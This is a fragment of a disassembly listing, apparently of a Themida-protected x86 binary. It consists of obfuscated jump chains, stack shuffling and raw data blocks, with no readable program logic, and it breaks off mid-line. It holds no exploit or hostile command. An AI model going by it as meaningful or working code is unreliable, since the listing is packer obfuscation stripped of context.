83242C8Bh, 94E904C4h dd 0FF000002h, 815E2434h, 4C4h, 5EF12900h, 23B468h, 240C8900h dd 42474FFh, 24048F59h, 0E924248Bh, 0A92h, 2858C700h, 1C8B66F8h dd 6E39E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BDCE: ; CODE XREF: Themida_:005077C1j mov [esp], cx push edx jmp loc_50B1A4 ; --------------------------------------------------------------------------- loc_50BDD8: ; CODE XREF: Themida_:00507B12j add edx, 4 jmp loc_50C58A ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 8B24048Fh, 24892424h, 24048324h, 0C1815904h dd 4, 2BA52h, 0C6E90000h, 81FFFFE8h, 4C7h, 2C78100h, 0E9000000h dd 0FFFFD220h ; --------------------------------------------------------------------------- loc_50BE18: ; CODE XREF: Themida_:00505F8Dj push esi mov esi, 26CD0555h sub esi, 0F4C69AA7h mov eax, esi mov esi, [esp] add esp, 4 jmp loc_50AE15 ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 0DE7E9h db 0 ; --------------------------------------------------------------------------- loc_50BE39: ; CODE XREF: Themida_:0050E78Dj mov esp, [esp] jmp loc_50811C ; --------------------------------------------------------------------------- db 59h, 87h, 4 dd 24248B24h, 24048F54h, 0D079E957h, 4481FFFFh, 1FE0424h dd 148B7838h, 0AEC8E924h, 5455FFFFh, 0B031E95Dh, 3487FFFFh dd 0C3815C24h, 4, 4C381h, 1C330000h, 0A3B0E924h, 5F09FFFFh dd 2434FF1Ch, 4C4815Bh, 0E9000000h, 0FFFF6CDAh ; --------------------------------------------------------------------------- loc_50BE94: ; CODE XREF: Themida_:00504757j pop eax mov eax, ebp jmp loc_508745 ; --------------------------------------------------------------------------- dd 0E981E901h, 76F15FECh, 83242C8Bh, 0C3304C4h, 240C3124h dd 0FFA4D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BEB5: ; CODE XREF: Themida_:00507FC7j pop ecx push 3A1Ch mov [esp], ebx push edi mov edi, 3A605306h jmp loc_50A976 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 5153CAB5h, 0FFD26AE9h, 53B252FFh, 0D72802B7h, 13E95Ah dd 0E9580000h, 0FFFF9753h, 4C90C681h, 464E76C7h, 0FFC4CCE9h dd 4EC81FFh, 89000000h, 0DB42404h, 529FEC80h, 0D40001B2h dd 0FF7EA4E9h, 4EC81FFh, 0E9000000h, 0FFFFE762h, 0E9CDC780h dd 0FFFFDD96h, 7AE8EE81h, 0F3899255h, 83C7E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BF2E: ; CODE XREF: Themida_:00504098j or ebp, 5A2B0ACDh and ebp, 4D8D70F0h add ebp, 0CA24F06Fh jmp loc_5063F1 ; --------------------------------------------------------------------------- loc_50BF45: ; CODE XREF: Themida_:0050A441j xor eax, [esp] pop esp shr eax, 0Ch xor eax, ecx xchg eax, ebp jmp loc_5046FA ; --------------------------------------------------------------------------- dd 50242C89h, 66FF685Dh, 3C890000h, 0E9EF8924h, 0FFFFF009h dd 0E90DF780h, 0FFFF76E3h, 4D600FB8h, 38503545h, 0F7506743h dd 2D582414h, 0DDF1A79Eh, 0FFE45EE9h db 0FFh ; --------------------------------------------------------------------------- loc_50BF89: ; CODE XREF: Themida_:0050EE19j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebx push 530h mov [esp], eax push 39A64830h mov eax, [esp] add esp, 4 jmp loc_50D50C ; --------------------------------------------------------------------------- loc_50BFBD: ; CODE XREF: Themida_:0050EF43j add ebp, 4 add ebp, 4 push 3420h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_50B8CB ; --------------------------------------------------------------------------- loc_50BFDE: ; CODE XREF: Themida_:0050C214j add esp, 4 xchg eax, [esp] mov esp, [esp] jmp loc_504B91 ; --------------------------------------------------------------------------- dd 8057B252h, 87E98DF2h, 0E900000Ch, 0FFFF6B72h, 4E981h dd 0C870000h, 44E95C24h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C00B: ; CODE XREF: Themida_:00503F2Fj sub eax, ecx pop ecx push dword ptr [eax] add dword ptr [esp], 2C8C7A1Dh jmp loc_50E039 ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 1C890000h, 42E95424h, 33FFFFB1h dd 0C31240Ch, 240C3324h, 4C4835Ch, 0FF6B2DE9h, 685251FFh dd 2D44DE1h, 0F912E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C04E: ; CODE XREF: Themida_:00503F96j add ebx, edx sub ebx, 6E8B654Fh pop edx jmp loc_503331 ; --------------------------------------------------------------------------- dd 33241C31h, 665C241Ch, 0E9C8BE0Fh, 0FFFFF5C1h, 286BB53h dd 0CB8121D9h, 767E6A69h, 34DFC381h, 0B850326Fh, 29B113A9h dd 0FFE5A8E9h, 0C8B66FFh, 5FAF6824h, 7E90000h, 0B9FFFFA1h dd 23894F13h, 0F7FFC183h, 0CAF181D1h, 5564C115h, 5AFE68h dd 24348900h, 646E87BEh, 81E6D119h, 0A02301C6h, 0C1D6F778h dd 0DEF704E6h, 7E57C681h, 0F589D04Fh, 0AB0E95Eh, 248B0000h dd 3DC38024h, 0C6E9C328h, 0FFFFFFD9h, 2C811C77h, 0E4366E24h dd 0E951585Ah, 0FFFFEF02h, 55240489h, 158CE9h, 4BF5700h dd 81000000h, 0F46F20C1h, 0E9F90137h, 0FFFFEEDBh ; --------------------------------------------------------------------------- loc_50C10C: ; CODE XREF: Themida_:0050A7F3j mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx add edi, 2 jmp loc_507C29 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFC4CCh, 0DCF58158h, 0E97C4C3Ch, 0E9Ch ; --------------------------------------------------------------------------- loc_50C134: ; CODE XREF: Themida_:0050C404j add esp, 4 loc_50C13A: ; CODE XREF: Themida_:0050C8B7j push 231h mov [esp], ebp push ebx sub dword ptr [esp], 5E7B281Fh pop ebp jmp loc_506A3C ; --------------------------------------------------------------------------- dd 0FFEE835Dh, 0F7966850h, 0E958784Fh, 801h, 0B5B652ACh dd 0D003E6C0h, 0AC1AE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C16E: ; CODE XREF: Themida_:005072D8j push 3C1Eh mov [esp], esi mov esi, 80h and ecx, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebx jmp loc_502EA8 ; --------------------------------------------------------------------------- dd 0EDE9D828h, 81FFFFE1h, 490E1FC7h, 50CF012Dh, 0EE2BA52h dd 0FDB82B3Fh, 31067600h, 2434FFD0h, 4C4815Ah, 81000000h dd 3815D1C7h, 0CBEF8146h, 293CFC45h, 7ABD55C7h, 81060D7Ch dd 4ECh, 0F564E900h, 5266FFFFh, 0D0289DB2h, 24148B66h dd 2F9F6853h, 8F540000h, 4E92404h, 5AFFFF79h, 0D664066h dd 6652703Bh, 0E97C50BAh, 0FFFFF4CBh ; --------------------------------------------------------------------------- loc_50C1FC: ; CODE XREF: Themida_:0050D6C3j mov ecx, 0F44AE54Bh add esi, ecx pop ecx add eax, 3BCB7EBDh add eax, esi sub eax, 3BCB7EBDh push dword ptr [esp] pop esi jmp loc_50BFDE ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 0FBE95024h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C223: ; CODE XREF: Themida_:00509309j sub dword ptr [esp], 777079A4h push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 push ecx push ebx mov ebx, 4 mov ecx, ebx mov ebx, [esp] jmp loc_502E68 ; --------------------------------------------------------------------------- dd 8904EC83h, 4FBE2434h, 81226004h, 7A1FC0CEh, 0FE9502Fh db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C25F: ; CODE XREF: Themida_:00506CE9j add ecx, 41FC7F0Eh jmp loc_504D30 ; --------------------------------------------------------------------------- dw 2BEh dd 50000000h, 0E746D7B8h, 58C1292Ch, 0FFCAA4E9h, 214605FFh dd 0E9552956h, 0FFFFB3ADh ; --------------------------------------------------------------------------- loc_50C288: ; CODE XREF: Themida_:0050C35Fj mov esp, [esp] and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_5051DD ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 59C0CF81h, 0E9526749h, 30h, 335AD701h dd 0D7E9243Ch, 0C1FFFF80h, 29E902E5h, 83000016h, 0FE6804C4h dd 0E900004Fh, 0FFFFDF8Dh, 61E95150h, 5BFFFFB3h, 0E9243487h dd 0FFFFDC61h, 0C1498EBAh, 0F1EA8146h, 810F117Fh, 0BB5ACCC2h dd 5AD7017Dh, 8B387A89h, 0C483243Ch, 0B9515704h, 3CAD7977h dd 0C8BCF89h, 4C48324h, 3C868h, 241C8900h, 38BBh, 1D30100h dd 835F5B3Bh, 8101386Ah, 3988384Ah, 4A8167C9h, 0D061D738h dd 38428101h, 98260001h, 0CEA7E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C34A: ; CODE XREF: Themida_:00504B8Cj mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_50C288 ; --------------------------------------------------------------------------- dd 785EC981h, 0C18110BCh, 12657022h, 559C829h, 56872253h dd 0FFCDF0E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C37D: ; CODE XREF: Themida_:00507E26j add dword ptr [eax], 1 pop eax loc_50C384: ; CODE XREF: Themida_:00504119j sub esp, 4 mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edi push 1339h mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 push eax mov eax, 4 sub edi, 179B7547h add edi, eax add edi, 179B7547h jmp loc_50758E ; --------------------------------------------------------------------------- db 5Eh dd 3D15C281h, 0EA017582h, 3D15EA81h, 2C8B7582h, 1D2CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C3DE: ; CODE XREF: Themida_:00509924j add ebx, 2D2D4CD5h add ebx, ecx sub ebx, 2D2D4CD5h sub ebx, 315F2A3Bh add dword ptr [ebx], 1 mov ebx, [esp] add esp, 4 mov ecx, [esp] jmp loc_50C134 ; --------------------------------------------------------------------------- db 68h, 8Ch, 6 dd 455D7512h, 0FFC741E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C415: ; CODE XREF: Themida_:0050ECCBj add dword ptr [esp], 5910462Ah push dword ptr [esp] pop eax add esp, 4 push 0B5Ch mov [esp], ecx push eax mov eax, 189D4350h shl eax, 5 xor eax, 4AB82C2Ah mov ecx, eax push dword ptr [esp] pop eax jmp loc_508A1F ; --------------------------------------------------------------------------- db 81h dd 9528A7CDh, 81DDF71Eh, 28524DF5h, 5DEB0141h, 8704C383h dd 55C241Ch, 157F0A4Bh, 4B2DD829h, 5B157F0Ah, 0BF05D829h dd 530B371Dh, 4EC81h, 0DDE90000h, 81FFFFB8h, 605658E9h dd 0D8E9815Ch, 55029B54h, 0ED2A32BDh, 860BE9E2h, 0C801FFFFh dd 5F262B2Dh, 240C8B22h, 4C481h, 0BF570000h, 44263581h dd 0D9E9F829h, 55FFFF87h, 0ADB6BDBDh, 0B56DE9DAh, 295FFFFFh dd 14335FFAh, 24143124h, 8B241433h, 0C892424h, 6698E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C4D6: ; CODE XREF: Themida_:00502D76j pop edx shr ebp, 1 xor ebp, 25154BA3h shr ebp, 3 push edx jmp loc_5041A0 ; --------------------------------------------------------------------------- dd 0E907E7C0h, 0FFFFF2E2h, 405h, 42D00h, 65E90000h, 83000013h dd 48904ECh, 5E08924h, 4, 4BD55h, 0E8010000h, 0BE5E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C51A: ; CODE XREF: Themida_:00509EA2j mov esp, [esp] sub esp, 4 mov [esp], edi push 5E0Dh mov [esp], ebx push 62210CD0h push dword ptr [esp] jmp loc_50D827 ; --------------------------------------------------------------------------- dd 13E9F301h, 0FFFFFFC3h, 40E92434h, 59000028h, 4C481h dd 0E8310000h, 21D2E9h, 83C28100h, 0C15E2F7Ah, 0EA8102E2h dd 0C3B2E65Ch, 2BB6E9h, 2434FF00h, 5D545558h, 72B56852h dd 46E92338h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C57B: ; CODE XREF: Themida_:00504A26j xor ebp, eax xor eax, ebp push eax push dword ptr [esp+4] pop eax jmp loc_506476 ; --------------------------------------------------------------------------- loc_50C58A: ; CODE XREF: Themida_:0050BDDEj add edx, 4 xchg edx, [esp] pop esp jmp loc_50EB8B ; --------------------------------------------------------------------------- loc_50C596: ; CODE XREF: Themida_:0050AFE2j sub eax, ecx jmp loc_50890E ; --------------------------------------------------------------------------- loc_50C59D: ; CODE XREF: Themida_:0050DF75j mov [esp], eax mov eax, 3B32558h add [esp+4], eax pop eax jmp loc_50A8D7 ; --------------------------------------------------------------------------- db 1 dd 0DC4FE9FDh, 5E5AFFFFh, 46BE9h, 24043200h, 0E9240430h dd 0FFFFE37Ah, 24048B66h, 5A1A68h, 24048900h, 76AA68h dd 24248900h, 4240483h, 0EC815258h, 4, 0BD242C89h, 0B4D603Ch dd 390BF581h, 0DDF70463h, 0DDF7DDF7h, 27C58145h, 892FCA9Bh dd 0EE95DEAh, 80FFFFD8h, 7A68FFEDh, 89000009h, 65B7241Ch dd 805BFD00h, 0EB28A9EDh, 0FF76F6E9h, 4C483FFh, 68DE957h dd 0DA010000h, 63C4C281h, 0E95B3C08h, 0FFFF76EAh, 0C281E289h dd 4, 5204EA83h, 42474FFh, 24048F5Ah, 241C895Ch, 4EC81h dd 14890000h, 37246824h, 0EAE90769h, 58FFFF82h, 405h, 9BE95600h dd 83FFFF6Eh, 0CB0104C4h, 0E9008F59h, 0FFFF64EEh, 0BE28159h dd 42310D72h, 0E307B850h, 0C201203Fh, 0FFC6AFE9h, 0E38953FFh dd 6964E955h, 0D689FFFFh, 240C8B5Ah, 3104C483h, 2434FFCEh dd 4C48159h, 21000000h, 24348BF0h, 4C481h, 0C00B0000h dd 160B840Fh, 0E9520000h, 0FFFFFF70h, 6A43ED81h, 0FEE9777Eh dd 81FFFFEFh, 4C4h, 0D7C5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C6E2: ; CODE XREF: Themida_:0050B1BBj inc dh jmp loc_50F0AD ; --------------------------------------------------------------------------- db 0BBh, 0Ch, 6Bh dd 33E97729h, 81FFFFB8h, 4C4h, 24048F00h, 0E9F7665Ch, 11E46866h dd 1A24E9h db 0 ; --------------------------------------------------------------------------- loc_50C709: ; CODE XREF: Themida_:00504A9Cj mov ebp, [esp] jmp loc_50AB35 ; --------------------------------------------------------------------------- db 68h, 2Dh, 7Bh dd 0C890000h, 81595424h, 4C1h, 4E98300h, 5C240C87h, 0E9241C89h dd 0FFFF65B5h, 4C481h, 33E90000h, 35FFFF64h, 5FDE00E7h dd 0C158C289h, 0EA8108EAh, 2B984CAFh, 62D6BD55h, 0F74D291Dh dd 0E265E9DDh, 0D901FFFFh, 0F8BB850h, 0E62D732Fh, 0F72D4B1Ch dd 224F35D8h, 0C101A11Dh, 0C1815B58h, 2, 31240C33h, 0C33240Ch dd 0E43FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C786: ; CODE XREF: Themida_:0050DB33j push 4AF0588Bh pop edi add edi, 6C954B49h neg edi jmp loc_50EE04 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0A4h dd 1EEE0B0h, 241C8BD9h, 4C481h, 6CE90000h, 0C1000015h dd 30E904EFh, 52FFFFE9h, 434AF5BAh, 7EAC10Dh, 0FF811EE9h dd 2434FFFFh, 0FF7B5CE9h db 0FFh ; --------------------------------------------------------------------------- loc_50C7CD: ; CODE XREF: Themida_:00509809j push 4670h mov [esp], edx mov edi, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 and eax, edi push dword ptr [esp] pop edi push ebx jmp loc_50AAD3 ; --------------------------------------------------------------------------- loc_50C7F1: ; CODE XREF: Themida_:0050ADABj xchg ebx, [esp] pop esp push edx mov edx, esp add edx, 4 push esi push eax mov eax, 385F09C6h jmp loc_509622 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9240489h, 17B0h, 0E9240489h, 2225h, 6496E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C826: ; CODE XREF: Themida_:00507F8Cj mov edx, [esp] add esp, 4 push 1E73h mov [esp], ecx push edi mov edi, 1 mov ecx, edi pop edi and eax, ecx mov ecx, [esp] push ecx jmp loc_508980 ; --------------------------------------------------------------------------- db 2Ch dd 0A36BE9D7h, 8966FFFFh, 50662414h, 6310E99Ch, 0E2C1FFFFh dd 3EEA8104h, 0E96FED5Bh, 0FFFFFA50h, 81242C8Bh, 4C4h dd 32E86800h, 3C890000h, 4815224h, 45222E24h, 0EF815F4Fh dd 4F45222Eh, 5A5FF989h, 6859CF01h, 2905h, 53240C89h, 0C2604DBBh dd 9FB5B973h, 0CDE98C3Dh, 0ACFFFFC8h, 0E904EC83h, 0FFFFB520h ; --------------------------------------------------------------------------- loc_50C8B4: ; CODE XREF: Themida_:00508456j pop ecx or eax, eax jz loc_50C13A push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push esi mov esi, esp jmp loc_505195 ; --------------------------------------------------------------------------- loc_50C8D1: ; CODE XREF: Themida_:00509168j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp pop ebx mov bh, ch pop ecx jmp loc_50D53F ; --------------------------------------------------------------------------- dd 5059C801h, 42474FFh, 24048F58h, 0CDD0E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C8F6: ; CODE XREF: Themida_:005038E2j mov eax, 0 add eax, ecx push ecx mov ecx, 0 sub ecx, 3FAF62B0h jmp loc_50BA13 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 80168h, 243C8900h, 402D22BFh, 65EF8147h, 0E929E408h dd 0FFFFFE83h, 24048F66h, 339E9h, 241C8B00h, 4C481h, 68500000h dd 1DF1h, 0B5240C89h, 28BCB045h, 240C8BE8h, 4C481h, 0D8F60000h dd 0C0FED0F6h, 0FF7B71E9h, 8BC631FFh, 20E92404h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C96B: ; CODE XREF: Themida_:00503210j xor ecx, [esp] pop esp mov [esp], ecx jmp loc_50DB32 ; --------------------------------------------------------------------------- db 81h dd 9C1D52E3h, 0FEE9576Ah, 50FFFFCDh, 61E4E99Ch, 0C281FFFFh dd 4, 0DCF8E953h, 5366FFFFh, 2414F766h, 0EC815B66h, 4 dd 66241489h, 662236BAh, 0B7DCF281h, 5AD30166h, 62262D66h dd 0E9D82966h, 0FFFFDC5Ch ; --------------------------------------------------------------------------- loc_50C9C0: ; CODE XREF: Themida_:0050B13Fj mov ecx, [esp] add esp, 4 jmp loc_50A1E2 ; --------------------------------------------------------------------------- dw 0CD89h dd 6BCD8159h, 814FAB3Ah, 0D51BF3F5h, 2EDC10Fh, 0D419C581h dd 0EE0143F4h, 0E6C1585Dh, 0CB84E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C9F2: ; CODE XREF: Themida_:00507DC8j pop esp mov [esp], ebx push esp pop ebx add ebx, 4 push ecx jmp loc_509703 ; --------------------------------------------------------------------------- dd 4C481h, 5BE90000h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CA0F: ; CODE XREF: Themida_:0050B309j push 14B3443Ch pop edx jmp loc_509831 ; --------------------------------------------------------------------------- dw 0E801h dd 4B9515Dh, 0E9000000h, 0FFFFC975h, 60F668h, 242C8900h dd 0FF8E6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50CA35: ; CODE XREF: Themida_:0050927Dj add edx, 91C5C1B2h loc_50CA3B: ; CODE XREF: Themida_:00503EBBj ; Themida_:0050AAE4j push edi mov edi, ebx push 3752h mov [esp], edi xor dword ptr [esp], 58845A3Fh push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push ecx push eax mov eax, 713A761Fh mov ecx, eax pop eax shl ecx, 4 push ebx mov ebx, 75E8205Fh jmp loc_5065C2 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 268h, 0D9295B00h, 55241C8Bh, 0FF7305E9h, 240C8BFFh dd 4C481h, 0EF810000h, 1D60436Eh, 3C8BFB01h, 9F79E924h dd 1B68FFFFh, 5B1A8266h, 0E905EBC1h, 0FFFFF27Dh, 0C480CCFEh dd 58E50077h, 21C2E9h, 0B5516600h, 0F0048Eh, 0A567E9E8h dd 9FE9FFFFh, 68FFFF60h, 16E9h, 0FFAEEDE9h, 78C381FFh dd 5073460Ah, 0E626C5B8h, 2D7D0D0Ch, 0AD052C0Bh, 115EBE0h dd 0C1E958C3h, 81FFFF84h, 2477h, 0D2311A0Bh, 0FFFC0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_50CB05: ; CODE XREF: Themida_:00504909j xchg ecx, [esp] pop esp loc_50CB09: ; CODE XREF: Themida_:00506F4Cj sub esp, 4 mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 70991473h jmp loc_5058DE ; --------------------------------------------------------------------------- dd 5BCCB81h, 0E3C106ACh, 20F38108h, 318C0289h, 0AAE95BD9h dd 5AFFFFAAh, 0E784B951h, 0E9E9FEFBh, 5CFFFFA6h, 2CE9E829h dd 66FFFF73h, 5024048Bh, 114468h, 24248900h, 1E1368h, 240C8900h dd 4B9h, 244C0100h, 5585904h, 4, 0EA98E956h, 0E901FFFFh dd 0FF9130E9h, 0FD295EFFh, 513CC581h, 3C8B4B47h, 4C48124h dd 56000000h, 280A5FBEh, 0E9DEF749h, 0FFFF7BC4h, 26856h dd 0E8E90000h, 9FFFFF1h, 34FF1C4Fh, 2434FF24h, 4C48359h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFC661h dd 240C8B66h, 4EC81h, 14890000h, 81E28924h, 4C2h, 0E6895600h dd 0FFDF0DE9h, 8BCE01FFh, 0C483240Ch, 24343304h, 33243431h dd 0D25C2434h, 0E99C243Ch, 0FFFF5F5Eh, 81242C8Bh, 4C4h dd 0E9C33100h, 0FFFFF0F6h, 5C240C33h, 0F66F9F6h, 2568CCB6h dd 89000063h, 5954240Ch, 24BCB850h, 2C0D18BEh, 0F7663422h dd 0BF4F2DD8h, 10E91FADh, 58000017h, 8702C683h, 248B2434h dd 242CD224h, 5F10E99Ch, 8B66FFFFh, 0E2E9240Ch db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CC67: ; CODE XREF: Themida_:00504AFBj push eax pushf jmp loc_502B6E ; --------------------------------------------------------------------------- dw 0FBE9h dd 81FFFF5Eh, 4ECh, 7707E900h, 0EAC0FFFFh, 0CDB0E903h dd 0EB80FFFFh, 61C568CCh, 0C890000h, 77B124h, 2434FFCBh dd 592434FFh, 0E904C483h, 0FFFFE272h, 8124148Bh, 4C4h dd 4C28100h, 83000000h, 0C9E904EAh, 0BFFFFFAEh, 4, 875FFB29h dd 9CE9241Ch db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50CCCB: ; CODE XREF: Themida_:0050B250j xchg edx, [esp] pop esp mov [esp], ebx push eax push esi push 0FDD08FDh pop esi xor esi, 254466CBh push esi pop eax mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebx, eax mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp neg ebx jmp loc_50A2F4 ; --------------------------------------------------------------------------- db 89h dd 74FF2414h, 148B0424h, 4C48124h, 8F000000h, 248B2404h dd 4D36624h, 8E99C24h, 0F7000004h, 0C5E981D1h, 0D150D47Bh dd 10C1E9E1h, 8B660000h, 86E9240Ch, 5BFFFFE7h, 0E985C180h dd 0FFFFA860h ; --------------------------------------------------------------------------- loc_50CD58: ; CODE XREF: Themida_:0050B5E3j and eax, ecx jmp loc_506BA9 ; --------------------------------------------------------------------------- db 89h dd 9FB1240Ch, 80A0B753h, 0EFC012EFh, 80D7F608h, 0DFF684EFh dd 0E9DBB050h, 0FFFFC9FEh, 5AD18859h, 0FF8217E9h, 0E68146FFh dd 447901DDh, 3F9F681h, 0F7290069h, 5E2434FFh, 515E5456h dd 771CA6B9h, 0A2E9816Fh, 816F771Ch, 0FE39BDC6h, 12F3E96Ch dd 83570000h, 0C8904ECh, 0B5BA5224h, 0B919BC4Ah, 8216D86h dd 505AD131h, 0FF7086E9h, 240433FFh, 33240431h, 895C2404h dd 0E589242Ch, 0AB7DE951h, 0F659FFFFh, 0FBB753D2h, 0FFF17BE9h dd 0B9C681FFh, 8B2DD369h, 0C4812414h, 4, 8B243487h, 0C892424h dd 5D64E924h, 3068FFFFh, 89000009h, 3768242Ch, 5D2A462Ah dd 0D5CDC581h, 0E951D5B9h, 0FFFF607Dh, 75D6853h, 0E95B404Fh dd 0FFFFE5CAh, 3124248Bh, 0E99C2404h, 0FFFF5D32h, 2444815Dh dd 422E8E04h, 2444816Ah, 0A6154604h, 244C294Eh, 246C8104h dd 0A6154604h, 0A908E94Eh, 0ED81FFFFh, 5F063C67h, 0C581F529h dd 5F063C67h, 0F75DEE89h, 1E681D6h, 8146E24Ch, 0A1FFFCEEh dd 6A9FE946h, 34FFFFFFh, 24348B24h, 4C481h, 0C4830000h dd 15BA5204h, 0E912BD3Fh, 0FFFFF6B9h ; --------------------------------------------------------------------------- loc_50CE9C: ; CODE XREF: Themida_:0050D807j add edx, 3FA8060Eh push edi mov edi, 2DC977ACh add edx, edi mov edi, [esp] add esp, 4 jmp loc_50EF48 ; --------------------------------------------------------------------------- dd 89243489h, 0B0B3E9E6h, 8F5DFFFFh, 248B2404h, 2424D324h dd 5C9CE99Ch, 0C281FFFFh, 757CDF25h, 515AD301h, 28714CB9h dd 8E1C12Fh, 0FFA6E1E9h, 0DBE959FFh, 83FFFFDEh, 0EC8102C4h dd 2, 240C8966h, 2474FF66h, 0C8B6602h, 2C48324h, 0FFFA1FE9h dd 153E68FFh, 4890000h, 0EFE95224h, 0BDFFFFA9h, 3C165256h dd 4E28EB81h, 0EB294051h, 4E28C381h, 435D4051h, 12D1B850h dd 0C3315D35h, 0BD1CE958h, 5266FFFFh, 4EC81h, 4890000h dd 80A0B424h, 0E688B3F4h, 4AA2C58h, 0C924E92Ah, 0E9ADFFFFh dd 0FFFF84B4h, 7152E95Ah, 0E801FFFFh, 0AA4A3A05h, 242C8B1Eh dd 81E18951h, 4C1h, 0F2BE900h, 0B2050000h, 0E9157D2Fh dd 18h, 16BDC181h, 0F7514554h, 8BE92414h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50CF97: ; CODE XREF: Themida_:0050875Fj push dword ptr [esp+4] jmp loc_504AAB ; --------------------------------------------------------------------------- dd 0B22DC801h, 0E9157D2Fh, 0FFFFCB81h ; --------------------------------------------------------------------------- loc_50CFAC: ; CODE XREF: Themida_:00502EBEj add esp, 4 add ebx, 4 sub esp, 4 mov [esp], ecx jmp loc_50AC0E ; --------------------------------------------------------------------------- db 66h dd 66554D68h, 0E9240489h, 0FFFF5B9Eh, 43A2CD81h, 81456461h dd 88BC5DC5h, 1DE98191h, 11E0749h, 2EB850E9h, 0D77DC29h dd 63D338C7h, 0F707E8C1h, 0F8702DD8h, 0C101E108h, 0FFD33BE9h dd 86D430FFh, 1EB80DAh, 0FFC061E9h, 19C281FFh, 0E9247F08h dd 0FFFF7FCDh, 24048155h, 53666797h, 97EB815Bh, 0E9536667h dd 10CBh, 4C381h, 0C3830000h, 241C8704h, 883E95Ch, 0C8010000h dd 29540559h, 0F0012BD6h, 2954BF57h, 0F8292BD6h, 20812D5Fh dd 505E1AD1h, 0FFA4E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D05D: ; CODE XREF: Themida_:005086F8j pop esp jmp loc_5057AD ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 0E9000000h, 0FFFFBB4Fh, 0F472E958h, 48BFFFFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50DCC6 ; --------------------------------------------------------------------------- loc_50D081: ; CODE XREF: Themida_:0050BA6Cj push esi mov ebx, [esp] add esp, 4 mov esi, [esp] add esp, 4 pop edi sub [edi+24h], ebx pop ebx loc_50D099: ; CODE XREF: Themida_:0050E401j sub esp, 4 mov [esp], ebp push edx mov edx, ebx push ecx push edx pop ecx jmp loc_50B2A6 ; --------------------------------------------------------------------------- loc_50D0AA: ; CODE XREF: Themida_:00505433j mov ecx, 720D1BDFh xor ecx, 75B3E48h jmp loc_506CE0 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFF9D5Fh ; --------------------------------------------------------------------------- loc_50D0C0: ; CODE XREF: Themida_:0050BB3Ej sub edx, 3FA8060Eh add edx, 0E05BD8h add edx, eax jmp loc_50D801 ; --------------------------------------------------------------------------- aTzh db 'TZhÉ ',0 align 2 dw 3489h dd 3147BE24h, 0F7567391h, 0F75E2414h, 0F7C681D6h, 0C17AFA2Ch dd 0E0E904EEh, 83FFFFB7h, 59E904C4h, 33FFFFBFh, 4312404h dd 24043324h, 0FFD4B3E9h, 0BF57ADFFh, 1F2B66B8h, 33D1EF81h dd 0EFC16126h, 8EFC106h, 5AD3CF81h, 0F7812060h, 1CB8A356h dd 0FC55BF05h, 